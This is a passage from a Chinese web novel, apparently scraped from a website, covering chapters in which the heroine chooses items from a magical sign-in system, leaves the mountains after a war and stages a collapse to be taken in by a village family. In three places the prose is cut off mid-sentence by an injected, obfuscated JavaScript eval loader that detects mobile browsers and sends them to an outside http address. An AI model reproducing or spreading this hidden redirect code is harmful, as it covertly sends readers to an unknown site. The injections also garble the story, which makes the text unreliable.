而且在她以前生活的世界,白面馒头对于普通百姓来说是很难得的东西,能隔三差五能吃上一次都算小富之家了,这里刚结束战乱,兴许比以前更难得。 她给自己定的身份是开州逃难来的难民,也不是个能有白面馒头吃的身份,不能选。 牛奶比白面馒头更稀罕,更不能选,姜榕看着白屏上的牛奶二字咽了咽口水。 许久没能喝到了,如今见到这两个字,她脑子里就不由浮现当初喝的牛乳,那浓厚香醇的口感,若是日子已经安稳了,倒是可以考虑选它。 接下来是白菜,白菜看起来倒是比较便宜易得的东西,但现在吃起来不方便,也不够顶饱,如今似乎也不是白菜收获的季节,不选。 肉票碎片……带肉的东西,应该是好东西,但肉票同样是姜榕没见过的物品,它还只是碎片并不完整,不知道要收集多少碎片才能得到一整个完整的物品,现在也不是去试验的好时候。 即使是完整的一块肉,也跟白面馒头和牛奶一样,同样,新鲜的肉不是她给自己设置的身份目前能吃得起的好东西,更别说她自己也在山里准备了肉干当干粮,不算缺肉,也不馋肉,所以肉票碎片同样被放弃了。 那么就只剩下粗面粉和糙米了。 在山中生活一个月,姜榕自带的粮食做的干粮,哪怕每日节省到极致,也早在前半个月就吃完了。 山里又没处寻米面,后半个月她只能吃野果、野菜,在小溪、水潭里捕鱼虾,偶尔设陷阱铺野鸡、野兔充饥。 现在也都是带处理过的肉干充当干粮,以往没觉得米面对重要,没想到一段时间吃不到,竟然馋米面馋得厉害。 姜榕想了想,粗面粉加点水可以直接摊成饼,在现在的天气里,水分比较少的煎饼也可以存放好几天,吃的时候拿出来直接就能吃,简单方便。 而糙米粘性不够大,不太好做成饭团,吃起来不如煎饼方便,保存时间也不如煎饼长。 系统自带的包裹虽然应该可以保鲜,她也总不能什么都从系统包裹里拿出来。 在外面人多眼杂,保不齐什么时候,在哪个不起眼的角落会有人藏着,到时肯定是能少用系统就尽量少用,以免被发现异常,所以得留一些食物在外面做遮掩。 在山里饿过肚子,姜榕知道食物的珍贵,要是放在外面做遮掩的食物坏了,她肯定会心疼。 于是姜榕选择了粗面粉。 至于附加栏,那些个碎片,除了金镯子,其他姜榕见都没见过,不知道是什么东西,所以全都不选。 金镯子如果是一整个她也许还会考虑,可碎片……没办法马上派上用场,而且她还无法确定金银在这里是否还能作为钱使用。 而她当初出门时带着傍身的财物里也是有金银的,分别是一个金镯子、一个银镯子,一枚金戒指、几个碎金碎银块和一些铜板,至今还一分没花,所以金银对她来说不是紧缺物件。 姜榕盼着金银和铜板在这个世界也能用,这样她就不是身无分文的人了。 到时不管自己剪下来的头发和攒下来的肉干能不能换钱,她都不怕出山后会流落街头过得比在山里更惨。 余下的两样里,那防蛇虫鼠蚁药,如果她还在山里倒是会考虑选它,可她现在出山了,对这个的需求就没那么大,之前的还剩下三包,省着点足够用上一段时间。 最后,姜榕在附加栏里选择了全程护理装卫生巾。 这个她用过,曾经仲烨然给的,比月事带好用很多,用完之后埋进土里,过一段时间就会被分解,分解后再过一段时间,埋卫生巾的那一小块土就能当肥料用。 姜榕现在已经冷静下来,再次因为熟悉的物品联想到仲烨然,情绪已经不会失控,只多看了几眼那包卫生巾,就果断选择了提交。 系统:恭喜您获得‘粗面粉1斤’、‘全程护理装卫生巾1包’! 白屏暗了一瞬,再次亮起时,上面只有一个孤零零的骰子。 系统:今天您有‘所选物品随机翻倍’的首签福利,请抽取! 她按照提示点了一下骰子,骰子转起来后又点一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085009|179538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。 最后骰子定格在‘五’点。 白屏再次暗下又亮起后,白屏显示:恭喜您获得五倍奖励!奖励与新手礼包已发放,您可在系统包裹查看! 姜榕打开系统包裹,包裹里是一个个格子,格子没有具体数量,一直往下拉就一直有格子,仿佛没有尽头。 同样的物品,如果没拆封会放在同一个格子里,每个格子的上线是九十九份,看起来真的很能装。 现在里面的东西还很少,第一个格子里是五份粗面粉,一份一斤;第二个格子里是五包卫生巾;第三个格子里是一个新手礼包。 姜榕看着那五包卫生巾,心里狠狠松了一口气。 在山里过那么艰苦的日子时,人都瘦了很多,她的月信还是照常来,下山后日子应该不会如山上那般难过了,有这五包,接下来五个月她都不用再为来月信的那几天烦恼。 看过获得的物品,姜榕没犹豫立刻点开新手礼包。 屏幕上金光闪过—— 系统:恭喜您获得‘饮用水1瓶’、‘窝窝头1个’、‘丝瓜1根’、‘白色衬衫1件(男女型号可自选)’、‘黄桃罐头1瓶’、‘豆豉鲮鱼罐头1罐’、‘猪肉火腿罐头1罐’、‘水泥碎片5张’、‘自行车票碎片10张’、‘退烧药1瓶(共20粒)’! 姜榕看着这一大串的物品感到十分惊喜,没想到新手礼包里的东西那么多! 竟然还有物品碎片。 在所有的物品在没获得之前,她都没办法点开它们的简介,获得之后在包裹里就能点开看了。 姜榕对物品碎片最好奇,于是先点开它们看。 水泥碎片:建筑材料,集齐10张碎片可获得一袋水泥。 自行车票碎片:交通工具,集齐100张碎片可获得一张自行车票。 每个物品的简介上面都有它们的图片和使用方法,姜榕看水泥没看出什么名堂,倒是自行车让她看着觉得很新奇。 可惜现在距离集齐100张碎片还差得远,要不她真想看看这个自行车到底怎么用。 以前她见过的车都是一左一右两个或者四个轮子,这个自行车两个轮子这么一前一后地装,真的能用吗?会往左右两侧倒吧? 看完两种碎片,她又点了点同样让她很好奇的衬衫。 这下可算知道这衬衫长什么样了,果然是用布做的东西。 那样式在姜榕看来有些奇怪,她很想取出来仔细看看实物,可要取的时候系统又提示:请选择男款或女款以及衬衫的尺寸。 姜榕立时又犹豫了,这衬衫的料子看起来还不错,若是拿出去卖,应当也能卖些钱…… 现在就拿出来到时候真要卖可不好找买家,思来想去,姜榕还是决定暂时不拿出来,转而去看其他东西,这回重点看那些吃的。 缺盐也是姜榕决定离开山里的原因之一。 她今天啃了一天缺油缺盐缺调料的无味肉干,这会儿迫切地想吃点有味道的食物,既然新手礼刚好包开出来好几样,那她可就不客气了! 正所谓人生在世,吃喝二字,若是没有得到这些好吃的还好,偏偏现在得到了,这可让人还怎么忍? 反正姜榕此时已经馋得完全顾不上去思考,这些东西拿出去能卖多少钱了。 她拿出窝窝头和猪肉火腿罐头,就迫不及待地开始大快朵颐起来。 5. 第 5 章 窝窝头刚拿出来时还带着热乎气,许久没吃到米面的姜榕闻到窝窝头散发的面香,口中控制不住地不断分泌口水。 她举着窝窝头简单吹了几下,就迫不及待地张大嘴巴,一口啃下去,直接啃掉窝窝头的三分之一。 窝窝头吃进嘴里微微有些烫嘴,又不会把人烫伤。 它没放糖,但嚼一嚼,在嘴里都能嚼出点甜味来。 吃了半个之后,姜榕才打开罐头。 她不知道是不是自己身体太缺盐了,竟然在罐头打开的一瞬间,不但闻到猪肉、火腿与调料的香味,还闻出了这个罐头的盐味偏重,下意识就觉得这罐头肯定很下饭,搭配着窝窝头吃正好。 猪肉火腿罐头是系统奖励的物品,除非混入其他东西用来做菜了,要不然就算打开了也能再收回系统包裹,所以姜榕没舍得一次性把罐头吃完,只抠抠搜搜地挖了四分之一过过嘴瘾。 等窝窝头吃完后,她哪怕只吃了个五分饱,也很克制地把罐头收起来了,转而翻出自己在山里做的肉干继续啃,一直吃到饱为止,要不半夜就得饿醒。 然而姜榕哪怕今晚吃饱了,也依旧没能睡好。 因为她心里惦记着明天还要继续跟着那一家四口走,担心自己睡过头,就不敢睡得太沉,往往睡下三四个小时后就会醒。 姜榕在凌晨醒来时,因为暂时睡不着太无聊了,就打开白屏看了一眼,过了零点之后又是新的一天,会出现新的签到选项,新的倒计时也会重新出现,从24:00:00开始倒计时。 她发现可以用白屏的这个倒计时算时间,于是就没有马上签到,打算把这倒计时当日晷用。 虽然二十四小时制她用着不太习惯,但习惯总能改,它有用就行,有这倒计时在,勉强算是摆脱了全靠看太阳方位估摸大致时间的日子。 每次醒过来,看一眼白屏上的倒计时,算一算时间,知道时间还早,就又继续躺下强迫自己睡。 直到凌晨四点半醒来后,她才没有再睡下。 趁着这村子里的人和那一家四口还没醒,四周万籁俱寂的时间段,姜榕拿出一包粗面粉,用木碗舀出来一碗,加水调和。 然后在屋子周围找了点干柴,又拿出打火石、火绒和之前煮水的小锅。 在破房子的背风处,临时用三块土砖坯子搭了个简易小灶台,点了一小堆火,小锅架上去,等小锅烧热后开始烙粗面饼。 一木碗的粗面粉约摸不到半斤,很快就烙完了,烙出来五张饼。 姜榕估摸着在有猪肉火腿罐头下饭,又有肉干的情况下,这些饼应该够自己吃两天。 做完饼又洗漱,吃了点刚烙出来的饼配着猪肉罐头当早饭。 吃饱后看白屏倒计时算算时间,还不到早晨六点,但村子里和那一家四口住的破房子里,也已经传来动静。 姜榕早把所有东西收拾好,预备着随时能走。 那边也没磨蹭,起床后简单吃过东西就继续走,毕竟现在太阳太晒了,能趁着太阳没出来前早点走,路上就能少遭点罪。 这一次,她们没跟昨天一样一走就是一天,走了大概一个时辰,就开始对着周边指指点点,看起来对周边的物事很熟悉,像是在回忆往昔,越往是继续前走就越是明显。 当太阳升到头顶正中间,终于又遇到一个村子。 姜榕看到那一家四口里的三个大的站在这个村子的村口,边嘴里喃喃地说:“回来了,终于回来了……”边抹眼泪时,就知道她们到了最终目的地。 果不其然,土路的另一个方向,有几个人背着东西从被大树遮掩的路后拐出来,远远地看到她们就扬声问:“梅萍婶子?梅萍婶子是你吗?!”声音里带着不确定的犹疑。 不等那被称为梅萍的妇人回答,她女儿已经蹦起来冲着那几个人招手,清脆的声音带着欣喜与激动,大声地回应:“芳芳姐、梅花婶子、兰香婶子、二旺叔、三福叔!是我们!我们回来啦——” 那几个人听到她的回应,立刻加快了脚步往这边走。 “你们可算回来了,还以为再也见不到了!” “是啊,终于回来了!”梅萍看看到他们身上的背篓问道,“你们这是从白城赶集回来还是?” 梅花婶子说:“是赶集回来,现在城里慢慢开始重建了,我们去买点灯油和盐,顺便看看白城有没有活干,你们这些年还好吗?” 逃难的时候,往往有了今天没明天,个人能顾得上自家就不错了,谁也不知道还能不能再见到彼此。 时隔多年竟然还真能重新在家乡遇见,双方都唏嘘不已。 顾不上烈日当空的热和晒,站在那里就这么热泪盈眶地聊了起来,互相诉说着各自这些年来的遭遇。 “我也不知道算好还是不好,当年我们全家逃到鲁省,在那边倒是过了几年安生日子,可惜我公公婆婆身子骨亏空得厉害,到鲁省没两年,人就坚持不住,前后脚没了……那时我们没法带他们回来,只能先葬在那边。 后来我家那口子听说解放军打到老家这边来,老家要解放了,他想着解放后肯定土改分地,就带着我们回来,哪知道半路上他竟然病了,盘缠花了大半也没能救回来。 还有我家大河也是,走到我娘家那边的山里时也病了,要不是遇到好心人给我们送了药,恐怕也……”梅萍这会儿说起来还忍不住后怕。 对面几人听着她的话,同样心有戚戚焉:“唉——我们家也是,你家老人好歹还过上了两年安生日子,等以后有机会,还能再把他们的坟给迁回来。 我们家更难,家里老人腿脚不方便,逃难过河的时候脚一滑,掉下了河里,那条河还正是涨水的时候,水流特别急,没等人去救,老人就被河水冲走了,而且那时候逃命还来不及,也找不到人打捞,连尸骨都找不回来。” 前些年各种各样的惨剧太多了,多到令人麻木,好在现在眼看着日子就要好起来,只要能活下来,那些苦总能熬过去。 互相诉说完这些年的遭遇今后,他们又说起村里分地的事,还有上头排下来的工作队准备组织村里开的‘诉苦会’和‘斗争会’。 直到又有其他乡亲路过,问他们:“这么大的太阳,你们也不嫌晒,有什么话回去坐下好好说不成么?好不容易回到老家,家门还没进,在村口晒中暑病倒了不冤得慌?” 几人顿时从畅聊中回过神来,也觉得自己在大太阳底下聊天的行为很傻,赶紧拖家带口地先回家安顿去。 躲在暗处的姜榕看着她们走远后才从灌木丛里出来。 刚才她们的话,她全都听到了。 她看了看进村的方向,又看看那几个赶集回来的人回来的方向,在先跟她们进村还是先去她们口中的白城看看之间犹豫了一下,最后决定先去城里看看再说。 一般城里人员会比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085010|179538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 较混杂,不像村里来往多是熟人,要是来个陌生人进村,也许不出一个时辰全村就全都知道了,根本藏不住。 不知道去白城的路也不要紧,走一段路做一个标记,到时候实在找不到再顺着标记回来就是了。 姜榕向芳芳几人来时的方向一个人顺着土路继续往前走。 走了一段时间,就找到个比较阴凉且隐蔽的地方停下休息,等中午和下午最热的那段时间过去,再继续往前走。 她运气不错,去白城没有会误导人的大的岔路,岔路全都是进村的小路,只要顺着大路一直走就行。 只是距离有些远,走到太阳下山,姜榕才看到了白城那遍布炮弹痕迹的城墙。 城门处和城墙上有看起来像是士兵的人守着,姜榕没贸然上前,照旧远远地观察。 这个点已经没什么人出城了,很多来城里赶集的村里人村子都离城里比较远,一般都是赶早来,办完事也早早地出城赶回家,要不然天黑了都赶不回去。 进城的人倒是还有不少。 姜榕观察了一会儿,从进城那些人的打扮和对话中得知,他们都是家在城里,但是在城外有地的老百姓。 每个人都带着一张纸,走到城门处主动递给守门的士兵检查,不但要检查证件,还得检查随身携带的物品,确认没问题才给进城。 姜榕看到这里就悄悄退了,现在可不是混进城的好时候,还是得利用那一家四口帮忙。 走回去的路姜榕还记得,不用再记路,也不用走一段就做个标记,让她的脚程比来的时候快很多。 回到村口时夜已深,姜榕没选择马上进村找人,而是先找了个地方过夜,顺带为明天要演的戏做准备。。 找到过夜的地方,暂时不需要白屏上的倒计时算时间,姜榕才把今天的签到任务完成了。 今天系统刷新出来的物品不如昨天多。 日常栏只有三样东西可选:糙米1斤、饮用水1瓶、空心菜1斤。 附加栏只有两种:棉袜1双、银镯子碎片1张。 今天没有了首签福利,只能在日常栏或者附加栏选择一样东西。 选了日常栏的物品就不能选附加栏的,反之也是如此。 姜榕在棉袜和糙米之间犹豫了一下,换洗的袜子她只有两双,还是穿破了之后缝缝补补继续用的。 但又想到明天自己要变相投靠别人,那一家四口刚回老家,三个孩子全靠一个大人养,可能她们自己的口粮都不够吃,她总得把自己的准备好。 粮食这东西现在囤多少都不算多,最后她选了糙米。 可惜今天也没有随机翻倍了,只能得到一斤。 完成签到后,姜榕直接把糙米和一份一斤装的粗面粉,还有自己之前没用完的那一半粗面粉,从系统包裹里拿出来,放进自己背的包袱里。 又从包袱里把打火石和火绒全部取出来,原本打算把它们扔掉,后来想想自己家当那么少,终究还是没舍得扔,找个地方藏起来了。 以后有机会就回来拿,找不到合适的机会就算了。 接着她把原本打算省着吃两天的饼拿出来,今晚一顿全部吃光,然后把水壶里的水全部倒掉。 今晚到明天早上刻意不喝水,晚上也不睡觉。 一直熬到第二天中午,让嘴唇缺水起皮,让声音变得沙哑,让自己整个人变得一副憔悴狼狈的模样。 6. 第 6 章 天刚蒙蒙亮,一声响亮的鸡鸣打破村子的寂静,叫醒整个村庄。 一时间咳嗽声、开门声、叫唤孩子起床的声音不约而同地响起,各种声音在熹微的晨光下,混成一副乡村早晨的画卷。 只是跟从前相比还缺了些其他牲畜的动静,让这样一幅温馨的画卷有了几分不足。 “真没想到,成才叔家的大公鸡竟然还在。”梅萍听到耳熟的公鸡打鸣声,打开自家屋子破败的木门,站在院子里不由说道。 隔壁的董芳从屋里推门出来就听到这么一句,隔着院墙笑着接话:“是呀,如今咱们村别说牛羊驴子,多一只鸡都没有,就剩下它了!也幸亏还有它在,要不我回到自己家里头睡得舒坦,可容易睡过头了,对了,梅萍婶子你今天要去城里不?” 梅萍点头:“去,家里什么都没有,昨天做饭还是跟你家借的盐,今天得去买点过日子要用的东西回来,早些去早些回,中午就在家收拾家里,昨天下午那点时间,只够收拾出一个能睡的屋子和做饭的灶房,其他地方还没收拾呢。” 董芳说:“那咱们结伴一起去,昨天我们在城里听说有人来卖小鸡崽子,可惜知道消息太晚,找过去的时候已经卖光了,那卖鸡崽子的人说今天还有,让想买的人赶早,过了今天她那儿就没了。” 这个时节外面草籽、虫子、野菜多得是,散养鸡不费粮食,梅萍一听就心动了:“到了城里,要是买完我家里过日子要用的东西,还能剩下点钱,我也看看能不能买只母鸡崽子回来养。” 都说‘鸡蛋换盐,两不找钱’,母鸡养大后下的蛋,不但能换点盐或者灯油补贴家用,还能给孩子吃了补补身体。 她家孩子打从出生以来就没过过什么好日子,身子骨都弱,梅萍越想越觉得很该抱几只鸡崽子回来养。 梅萍又问董芳:“你二婶也去吧?她以前可是养鸡的一把好手,买鸡崽子得叫她去掌掌眼才行。” “肯定去的,我可没有我二婶挑鸡崽子的好眼力,我家今天就我跟她去,我二叔和小叔在家拾掇院子,收拾好就先在院子里锄地开垄种点菜。”董芳的父母和爷奶都没了,现在就跟着二叔二婶和小叔过。 梅萍也打算在自家院子里种点菜,虽说现在春播早过季了,秋播还没到时间,菜可能会长得不太好,可长不好也好过没得吃。 “你家都有什么菜种子?我从鲁省也带了菜种子回来,他们那儿的大白菜可好吃了,你们要大白菜种子不?要的话我匀给你们一点,我自家种肯定用不完的。” 邻里之间这样互相送东西很正常,董芳没拒绝:“那我就不跟你客气了,我家昨天也在城里买了几样以前咱们这儿常种的菜种,到时候也匀你一些,你今天去就别买了。” 两人聊了几句,梅萍就转身进屋安排儿女今天要干的活,然后背上背篓跟隔壁同样背着背篓的董芳、李梅花二人一起往村外走。 中途又遇到村里也要去城里的人家,大家就凑在一起说说笑笑地往村外走。 有些人还带着自家八九岁的孩子,这年纪的孩子在大人身边待不住,不顾大人让他们慢着点的唠叨,一起笑闹着往前跑,跑一段又停下来催促大人快些走。 一路走到接近村口,先跑到村口的小孩发出一声惊呼:“妈——你快来看!这里有个人!他倒在这儿一动不动的,是不是死了?!” 大人们都被那孩子的话吓了一大跳,这边的仗打完没多久,可保不准会不会有敌军的漏网之鱼,万一伤了孩子可就糟了,他们赶紧往村口跑。 梅萍也跟着众人一起跑,跑近后,她看着地上的人,在心里嘀咕:这人看着感觉有些眼熟…… 凑过去仔细一看,震惊了,这人怎么好像是之前在山洞里送药给她们的恩人! 虽然这次没遮着脸,但同样的斗笠、同样的衣服、同样的包裹,不是像,这就是呀! 可她那恩人在山里时,身形高大健壮,连西药都拿得出来,看着就是个有本事的人,怎么会变成了现在这样? 梅萍心里有疑惑,但还记着人家对自家的好,想着当初人家连那么贵的药都舍得给,如今人家落难了,她可不能不帮。 梅萍当即扒拉开挡在自己前面的乡亲,上前把人扶起来:“哎呀,恩人啊!您这是怎么了?” 董芳不解地问:“梅萍婶子,这就是你说的,在山里好心送药给你家大河吃的人?” “对对对,”跟董芳一起把人扶起来后,见着这人的身量,梅萍更肯定了,“就是他!那时他看起来还好好的,才几天不见,不知道怎么就变成这样了,快来个人给我搭把手,把人扶起来,送回我家去。” 在村口被人发现是姜榕计划好的事,她想过自己被人救进村后会遇到梅萍,到时候就可以借着梅萍一家在村里获得信任,暂时有个固定的落脚处。 只是她没想到,事情竟然会比自己想象中更顺利,直接就在村口被梅萍遇上了。 “水……水……渴、给我、一点水……”此时姜榕边演着戏,边在心里想:难道这就是传说中的好人有好报? 不过这样也好,之前她救梅萍的儿子,现在梅萍救她,两相抵消,以后她们面对她就不用总满怀感激、小心翼翼地把她当恩人看了。 她在这里无亲无故,想发展并长时间维持好一段关系,最好就是有来有往,平等相处,而不是一味地施恩。 姜榕说话的声音太小,周遭的人叽叽喳喳嗓门又大,只有董芳隐约听到了她的话。 可董芳是个还没结婚的姑娘,不好意思凑太近去听,只好对梅萍说:“婶子,他好像在说话,你要不听听他在说啥?” 梅萍凑近了听,也听到了:“他说想喝水。”说着抬头看一眼这次没戴面罩的姜榕,这才注意到她嘴唇非常干,都缺水到起皮了,脸色也很不好,非常憔悴的样子。 有个村民注意到姜榕身上挂着的水壶,拿起水壶晃了晃说:“这水壶里没水了。” 另一个想不明白了:“咱们这儿也不缺水啊,村口这里就有一条小河,他连去河里打水都不会?别是个傻子吧?” “先别说了,水去帮忙打点水来?” 姜榕等的就是这时候,她立刻说道:“不、不行,我、我不喝生水。” 村民忍不住啧了一声:“咋怎么讲究,别是什么大户人家出来大少爷吧?都快渴死了,喝什么水不是喝?” 姜榕坚持:“不喝……生水。” 村民:“可真犟,这人怕是渴好多天了。” “可不,都快渴死了还犟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085011|179538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,怪不得变成这模样。” 梅萍顾不上乡亲们说什么了,赶紧请董芳和李梅花一起帮自己把人弄回自己家里。 好在这年头人人都瘦得很,这人虽然看起来比她们高壮一些,其实也不重,而且她在别人的搀扶下勉强还能走得动。 梅萍家里,她大儿子正在收拾院子,大女儿在收拾其他屋子,小儿子就在院子里自己玩。 扶着姜榕的梅萍快走到家门口,扬声喊:“大河、凤芸,快来帮把手!” 董大河一抬头,看到刚出门不久的母亲带了个人回来愣住了,不过脑子没反应过来,人倒是已经行动起来,帮忙开了院门让她们进来:“妈,这是……” 不等梅萍回答,屋里听到动静的董凤芸走出来惊呼:“这不是咱家的恩人吗?他这是怎么了?” “恩人?是送药救了我那位?”董大河知道有人送药,只是他没能见到,因为他还没醒来,恩人就走了。 “对!”董凤芸点头,又懊恼地拍大腿,“咱家也没什么好东西能招待人家,这可怎么办?” 梅萍听到她的话,忙道:“别管那些,先去给恩人倒一碗水来,别用缸里的,用早上烧了给你弟弟冲米糊的水。” “哎,知道了!”董凤芸应了一声立刻去倒水。 躺在梅萍家的床上,成功完成融入山外人群的第一步,姜榕总算可以稍稍放松一下。 昨天吃了几个干巴的饼,又一直不喝水到现在,天气还那么热,她也是真难受。 喝完一碗水,又喝了一碗,直到第三碗才缓过劲来,对梅萍道谢:“谢谢大姐,我的打火石在路上不知道什么时候弄丢了,没法烧水喝,也没法做饭,本来想进村讨口水,谁知道刚走到村口竟然就走不动了,幸亏遇到你们。” 梅萍和董凤芸听到她的声音惊讶得瞪大了眼睛,不约而同地齐声道:“你竟然是个姑娘!!” 再看看她脖子,果然没有喉结! 姜榕故作不好意思的样子,想挠挠头,结果挠到了自己的斗笠,放下手带着点尴尬说:“真是对不住了,我不是故意瞒着你们,只是觉得一个人出门在外,打扮成男人的样子比较安全,我怕一说话就被人发现,就一直装哑巴。” 梅萍摆手说:“没事没事,你这样做没错,我们都明白,现在这世道虽然比以前好多了,但一个女人家独身在外行走确实也不够安全,要是我也能长成你这么高,我也想在路上时扮做男人呢。” 说着话,姜榕肚子咕噜咕噜叫起来,她昨晚熬到现在,早饿了。 梅萍忙让女儿去给姜榕拿吃的:“凤芸,快去拿些炒面给恩人冲碗面糊糊,饿太久了得吃点软和的才行。” 姜榕却拦住了她:“不用不用,炒面留给孩子吃吧。” 然后顺势把自己带的米面拿出来。 “现在谁家日子都不好过,我可不能白吃你们的,这里还有些米面,麻烦帮我煮点粥吧。” 她拿出米面的同时,故作不经意地露出了自己包袱里带着刺绣的精致绣帕。 大人见到了,知道不该问的别乱问,小孩子却不懂。 梅萍的小儿子在一旁站着看到了,惊奇地指着那绣帕对梅萍大声说:“妈,你看那儿!那里有花还有蝴蝶,真好看!” 7. 第 7 章 “不许乱看别人的东西!”梅萍忙轻拍了小儿子一下又训了他一句,满脸抱歉地对姜榕道,“不好意思啊妹子,这孩子不懂事,等会儿我肯定好好教他。” “不碍事的大姐,这不是什么贵重的东西,我从小就被卖到大户人家当丫鬟,后来跟那里的绣娘学了手艺,这样的小玩意儿,要不了几天就能绣一张,不值什么钱的。”姜榕主动把包袱里的帕子拿出来给她们看。 这两张绣帕确实是她只花了几天时间绣的,一张绣的蝶恋花,一张是并蒂莲。 不过不是在什么大户人家家里当绣娘的时候,而是在山里,她无事可干又不敢贸然出山的时候。 当年在姜家,姜榕根本不喜欢刺绣,但是为了迷惑所有人,她什么都随大流去学,然后表现得中规中矩不拔尖也不落后。 十几年如一日,摆出一副恭顺听话又没主见的样子,降低自己在家族中的存在感,后来逃跑时果然因为家里人对她的轻视,没遇到多少阻力。 其实仲烨然原本就是她的未婚夫,这是她母亲去世前定下的婚事。 她与仲烨然早就约好,等成婚后,仲烨然就谋个外放的职位,两人离开长安,到外面自在地过自己的小日子去。 可惜姜家一直在走下坡路,家里那些张口仁义道德,闭口世家风骨的长辈们,竟然也学起别人走偏门,想用家中女儿攀高枝,连有婚约的都惦记上了,为此悔了这桩婚事,要不然谁愿意用那私奔的下下之策呢? 姜榕摸了摸帕子上自由自在翩翩飞舞的舞蝶,笑着对梅萍几人说:“以前没打仗的时候,这小玩意儿还能换点钱补贴家用,后来都没人稀罕,也就能哄哄孩子了,其实现在还有人喜欢这个,我心里挺高兴的,就让两个孩子拿去玩……” 她话没说完,梅萍忙拦住:“不成不成,妹子你听我说,你可能久了没去城里,不知道现在的行情,国家打仗那么多年,有好手艺的人不知道死了多少,满白城去找都不知道能不能找到跟你手艺一样好的。 等过段时间城里重建好了,这样精致好看的帕子,肯定能换不少钱呢,你一个人出门在外也不容易,这帕子还是留着你以后换钱过日子用吧。” 梅萍不由分说地把那帕子重新塞回她包袱里,还想把她拿出来的米面也塞回去。 要是其他刚认识不久的人这么好心,梅萍肯定要提高警惕。 可姜榕切切实实地帮过她,救过她儿子的命,是她家的大恩人,人家那么贵的药都愿意给,说明人家是真好心,而且自家现在一穷二白,有什么是能让人家图谋的呢? 这下轮到姜榕拦着她了:“既然大姐不愿意让孩子收我的帕子,那就把这些米面拿去吧,要不然我心里总觉得过意不去。” “这……”梅萍想报答姜蓉,可她也清楚自己家的情况,那可真是耗子来了都得流着泪走的精穷。 姜榕看出她的犹豫,坚定地把米面塞过去:“这世道谁家都不容易,你还有三个孩子要养呢,大姐你就收下吧。” 梅萍叹了口气,也不在扭捏:“行,我让我家凤芸给你煮稠稠的粥,你等会儿吃了好好休息,我们庄户人家家里有些简陋,只能委屈你了。” “大姐太客气了,我以前给人当丫鬟,嫁的男人也是那家的男佣人,我们连个家都没有,还不如你们呢,怎么会嫌弃。” “以后就好了,”梅萍握住姜榕的手轻轻拍了拍安慰她,“现在咱们国家不兴什么丫鬟仆人了,人人都解放、人人都一样,你有这么好的手艺,等以后城里那些布庄、成衣铺开张,不愁找不到活干,有了工作,慢慢攒点钱,没准还能在城里买个房子。” 姜榕听到她的话有些激动,之前在山洞里,她听到城里会招工,是想着继续女扮男装去找活干的,既然女人也能出去干活,那还装什么? 激动之下,她下意识问道:“在这里我们女人真的也可以去城里找活干吗?” 话刚说完,姜榕就在心里暗道糟糕,直觉自己说错话了。 果然话音刚落,就听到梅萍理所当然地说:“那当然,以前我们这儿可繁华了,城里有不少纺织厂和作坊,很多女人都去干活挣钱养家,绣娘也有,不过能绣精致绣品的不多,像你一样手艺很好,做出来的绣品绣坊里才愿意要。 普通人家想学刺绣也不容易,人家一般也不轻易传授手艺,得有门路才能拜师去学,而且当还得保养好双手,像我们这样的庄户人家的女儿就很难做到这个,毕竟家里的活不少,孩子长到几岁就得帮家里干活,没法保养双手。” 她说着,和其他人一起不由自主地看向姜榕的手,那双手上有一些已经结痂的小伤口,想到她沦落到现在这样,手上有小伤口也正常。 不过没有伤口的地方仍旧是非常白嫩的,这个很明显装不出来,要是换了她们这样做惯农活的人,手上都长老茧了,反而很少会让手受那样的小伤。 姜榕听着梅萍的话,意识到她没察觉自己话里有不对劲的地方。 急忙给自己刚才的话找补:“你们这儿可真好,我以前很多时候都被关在绣房里没日没夜地干活,不能出门,所以不太清楚外面的事。 后来那户人家的主子们不知道怎么回事,全家都跑了,我们这些被扔下的下人没人管,我才能出来的,没想到出来后又遇上水灾,我只好跟着老乡一起逃灾。” 董芳的二婶李梅花听了她的遭遇不由感叹:“唉,可怜见的,前几年大家日子都不好过啊,你以后有什么不知道的问我们就是,我们虽然算不上多么有见识,但长了这么大岁数,也经历过不少事,但凡你问的我们知道,肯定会实实在在地跟你说。” 感叹完,又问:“听你口音,像是豫省那边的口音?” “是,豫省开州那边的。” 董芳一家回来得比梅萍家早些,听到这儿就想起前几天确实遇到过豫省来的难民:“前几天有一群人经过我们村子,口音跟你很像,没准是你的老乡,你是不是跟他们走散了?要是走散了,明天去城里没准能找到。” 这个姜榕可不敢承认,万一真在城里遇上被人拆穿可就糟了。 